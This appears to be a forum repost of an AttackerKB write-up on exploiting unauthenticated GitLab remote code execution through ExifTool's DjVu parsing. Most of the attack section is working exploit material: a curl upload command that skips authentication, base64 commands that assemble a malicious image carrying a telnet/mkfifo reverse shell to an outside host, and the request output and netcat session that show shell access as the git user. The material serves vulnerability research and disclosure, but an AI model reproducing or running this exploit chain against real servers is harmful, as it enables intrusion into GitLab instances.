I found this helpful in this circumstance.
See below and or got to source here: Attackerkb source
Attack Path & Exploit
The confusion around the privilege required to exploit this vulnerability is odd. Unauthenticated and remote users have been and still are able to reach execution of ExifTool via GitLab by design . Specifically HandleFileUploads
in uploads.go is called from a couple of PreAuthorizeHandler
contexts allowing the HandleFileUploads
logic, which calls down to rewrite.go
and exif.go
, to execute before authentication.
The fall-out of this design decision is interesting in that an attacker needs none of the following:
-
Authentication
-
A CSRF token
-
A valid HTTP endpoint
As such, the following curl
command is sufficient to reach, and exploit, ExifTool:
curl -v -F ‘file=@echo_vakzz.jpg’ http://10.0.0.8/$(openssl rand -hex 8)
In the example above, I reference echo_vakzz.jpg
which is the original exploit provided by @wcbowling in their HackerOne disclosure to GitLab. The file is a DjVu image that tricks ExifTool into calling eval
on user provided text embedded in the image. Technically speaking, this is an entirely separate issue in ExifTool. @wcbowling provides an excellent explanation here.
But for the purpose of GitLab exploitation, now that we know how easy it is to reach ExifTool, it’s only important to know how to generate a payload. A very simple method was posted on the OSS-Security mailing list by Jakub Wilk back in May, but it is character-limiting. So here is a reverse shell that reaches out to 10.0.0.3:1270, made by building off of @wcbowling’s original exploit.
albinolobster@ubuntu:~$ echo -e “QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs=” | base64 -d > lol.jpg albinolobster@ubuntu:~$ echo -n ‘TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.3 1270 0<$TF | sh 1>$TF’ >> lol.jpg albinolobster@ubuntu:~$ echo -n “fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg==” | base64 -d >> lol.jpg
We can substitute the generated lol.jpg
into the curl command like so:
albinolobster@ubuntu:~/Downloads$ curl -v -F ‘file=@lol.jpg’ http://10.0.0.7/$(openssl rand -hex 8) * Trying 10.0.0.7… * Connected to 10.0.0.7 (10.0.0.7) port 80 (#0) > POST /e7c6305189bc5bd5 HTTP/1.1 > Host: 10.0.0.7 > User-Agent: curl/7.47.0 > Accept: / > Content-Length: 912 > Expect: 100-continue > Content-Type: multipart/form-data; boundary=------------------------ae83551d0544c303 > < HTTP/1.1 100 Continue
The resulting reverse shell looks like the following:
albinolobster@ubuntu:~$ nc -lnvp 1270 Listening on [0.0.0.0] (family 0, port 1270) Connection from [10.0.0.7] port 1270 [tcp/*] accepted (family 2, sport 34836) whoami git id uid=998(git) gid=998(git) groups=998(git)